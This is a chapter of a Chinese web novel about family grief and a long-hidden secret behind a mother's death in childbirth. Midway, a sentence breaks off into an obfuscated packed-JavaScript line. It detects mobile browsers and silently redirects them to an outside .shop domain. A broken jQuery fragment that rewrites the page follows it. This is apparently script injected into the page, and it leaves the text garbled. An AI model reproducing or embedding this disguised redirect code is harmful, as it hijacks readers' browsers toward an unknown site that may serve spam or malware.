进去的时候，奶奶身体深深陷进病床中央，整个人苍白褶皱，提着一口气，插进皮肤里的管子五颜六色，身侧各种机器嘀嘀发响。
许芫其实早就料到不久后会有这么一天。
今年的新年去许朝意家，她就觉得奶奶身体越来越小，四肢萎缩下去，能装进壳里的程度。从那时候起，她就知道老人已经半步跨进了鬼门关。
奶奶强撑着意识，恢复半点清醒，看到许芫那张脸时，插着几根针管的手颤抖地抬起，示意她过来。
许芫走到她旁边的凳子坐下，老人的手就像被揉皱后展开的薄纸片，覆到许芫的脸上，似是想用力打她，却耗绝了威力，最终如同羽轻毛扫而过。
“许芫，如果不是你……”
奶奶嘴巴一张一合，气息虚弱哀痛，“你妈妈就不会死……”
许芫脸偏在一边，微张着唇。
她翻回头，眼睛看向旁边那个女人，那个她呼唤了二十多年的妈。
何云珍脸上挂着泪，却神色冷漠，盯着她一字一句说：“许芫，你难道还没想明白？”
“时清妹当年就是因为难产，医生让她选择二保一。”
“她舍弃自己，选择了保你。”
许芫耳边一阵耳鸣，眼泪直接冲出眼眶，喉咙眼里抠出来的声音完全变了音色。
“那我爸爸呢？”
何云珍一听到这个，便再难克制地大哭出声。旁边沉默不语的中年男人，那个许芫唤了二十多年的爸，突然开口把事实全盘托出：“你妈当时生完你去世，你爸因为悲痛，连续几天醉酒，马路上出车祸，抢救无效。”
许芫的亲生父亲，也就是何云珍的亲哥哥。
许时清、许时斌两兄妹和何云珍两兄妹结亲——许时清嫁给何云珍的哥哥，许时斌娶了何云珍，两家人亲上加亲，幸福美满。
几十年前四个年轻人曾聚在一起发誓，以后要长长久久地在一起，永不分离，当初的起誓，戛然而止于许芫的出生。
从此许时斌失去了妹妹，何云珍失去了哥哥，爷爷奶奶失去了最疼爱的女儿。
连环撞击过来的噩耗，如同巨石碾压蚂蚁，摧垮了整个家庭。
难怪。
难怪许芫觉得自己和许朝意长得不像。
难怪她爸妈和奶奶从小就讨厌自己。
难怪，每次在她生日的时候，家里从来都死气沉沉。
也难怪，她在许朝意出事的时候，何云珍会冲进她病房，说她害死了那么多人。
她的诞生是不止一个人的祭日。
因果一切都理顺后，许芫并没有想象中的恍然开悟的感觉，她站起了身，往病房外走。
身后没人拦着她，许芫一步一步慢慢地，步出长廊，离开大厅，最后来到大门外，漆黑寒冷的夜空不知从何时开始，又下起了大雪。
许芫仰头，任凭雪片飘打在脸上。
沈怀枫保持着离她两三米的距离，不远不近地沉默地跟在她身后。
后方不远处突然出现急促却踉跄的脚步声，以及许朝意嘶哑的喊叫。
“许芫！姑姑难产，根本就不是你的原因！是我，一直都是我的错，从来都是我对不起你！”
许朝意扶着大门把手，哭地跪坐到地上，“姑姑都是为了救我才会摔倒，从始至终都是我的错……对不起……”
许芫疲惫地歇了脚，鞋底陷在薄薄的雪地里，没力气回头去看她。
她不懂许朝意这个时候为什么又来说这些话。
许朝意做了什么？
她没精力去了解。
轮转了整日的大脑已经完全停止运行，许芫只能凭着身体本能，机械地往前走，一步一个脚印，越来越慢。
遥远的病房里面这时候传出哭喊，爸爸的，妈妈的，还有爷爷的，此起彼伏。门前的许朝意听见声音，急忙踉跄地跑回病房。
许芫颤抖地张了张嘴，身体晃动，脊梁骨从身体抽离了般，两腿跟着一软。
沈怀枫展开双臂，接住了她。
“沈怀枫，沈怀枫……”
许芫眼泪砸进雪地里，嘶声恸哭。
她也不知道能说什么，她没奶奶了，明明以前十几年的青春里，她痛苦的一半都来源于这个老人，明明那么讨厌她，许芫却也从来不愿意就这么眼睁睁地看着她离开人世间。
血脉牵连是个很神奇的东西，爱与恨有时也没有明确的分界线。
这也是为什么她十八岁时独自一人离开晴川，看见爷爷给她发的短信时，她依然坚决选择离开。
他说，你出行注意安全，也不要忘记回家的路。
家里所有人都很牵挂你，尤其是奶奶。
许芫不信，潦草地回应了爷爷的关心，就将这件事抛之脑后。
当时漫不经心看到的一句话，现在又重新在她脑海放映，变成一个闭环。
许芫脸深深埋进沈怀枫怀里。
眼泪溃不成军。
-
一家人决定将奶奶带到晴川下葬，位置在后山，许时清的墓碑旁。
时隔二十多年，母女两人终得在天上相见。
火化当天，许朝意在父母和众人面前，将从小隐瞒了全家的事情和盘托出。
当时她只有一岁多，没有记忆的能力，姑姑许时清出意外的事情，许朝意上了小学才彻底得知。
邻居有一个老太太经常坐在门外，边晒太阳，边举着蒲扇扇风。许朝意有天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877333|212069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下午放学，活蹦乱跳地跑回家，老太太突然喊她一声，笑着提起当年的事：“你姑姑因为你摔倒出意外，你这几年有没有多给她烧些纸钱？”
许朝意吓得不轻，连忙问老太太发生了什么事。
老太太说，当时她还是个刚学会走路的小娃娃，身边没空闲的大人带，只有挺着大肚子的许时清在旁边陪她走路。
许朝意看不见路，掉进深坑，许时清情急之下本能地跳进去，抱住许朝意给她当肉垫，才没让孩子头砸地。
父母及爷爷奶奶赶到时，许时清已经被送上了救护车。
难产面临二选一，许时清选保孩子，自己则断了气。
许芫出生时，全家人眼睛血红，每人都围在许时清的遗体前，没有给初生的婴儿投去半点视线。
“你家人都觉得是那个孩子克死了她母亲，但是没人知道，她母亲究竟为什么会难产。”老太太握住许朝意的手，轻轻按扶。
“你啊，以后要对你那个可怜的妹妹好点。”
年仅七八岁的许朝意一下子承受这么重的真相，想不了那么多，最大的反应就是害怕。
怕爸妈和爷爷奶奶知道事实后，会对她恨之入骨，把她重新扔回深坑里，抛下她永远地离开。
许朝意哭着紧握住老太太的手：“求求你，不要把这个事情告诉我爸爸妈妈，我会对我妹妹好的，我一定会尽全力补偿她，求你不要告诉他们……”
类似于闯了祸的小孩，不愿意家长发现她犯下的错误。
遑论人命关天的大事。
除了目睹一切的老太太，没人知道真相，许朝意守了二十多年的秘密，同时怀着愧疚和忏悔厚待许芫。
随着许芫长大，她能清晰感受到妹妹很多时候并不那么喜欢自己，许朝意反倒希望许芫能多恨她一些，就像奶奶说的，承担对方的恨，得到罪恶感的减轻。
几年下来，许朝意对许芫的很多行为接近讨好，许芫小小年纪的自尊和防备却如铜墙铁壁一般，不愿意接受她太多的施舍。
妈妈和奶奶都劝许朝意不要再费力讨好妹妹了，许芫就是头养不熟的白眼狼，根本不会感恩你对她的好。
每当许朝意夜里听见一墙之隔的许芫断断续续的抽泣，都会心痛地难以自拔，甚至产生一种冲动，去所有人面前坦白当年姑姑难产的真相，揭示自己以前的“罪行”。
许朝意觉得，本来就是她的错，许芫却替她承担了长辈们所有的恨。
但是又会临阵退缩。
她害怕。
从始至终，许朝意都觉得自己是一个胆小怯懦，无能逃避的人。
也没人知道，她是怀着怎样的心情，在奶奶火化当天，对着所有人的面坦白事实。